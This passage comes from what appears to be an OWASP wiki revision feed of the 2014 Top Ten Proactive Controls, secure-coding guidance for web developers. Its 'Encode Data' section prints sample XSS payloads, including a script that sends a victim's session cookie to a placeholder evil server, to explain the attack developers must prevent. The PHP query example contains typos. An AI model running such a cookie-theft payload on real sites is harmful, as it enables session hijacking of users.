Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the Google KeyCzar project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=174511</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=174511"/>
				<updated>2014-05-07T21:33:18Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to Cross Site Scripting. Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
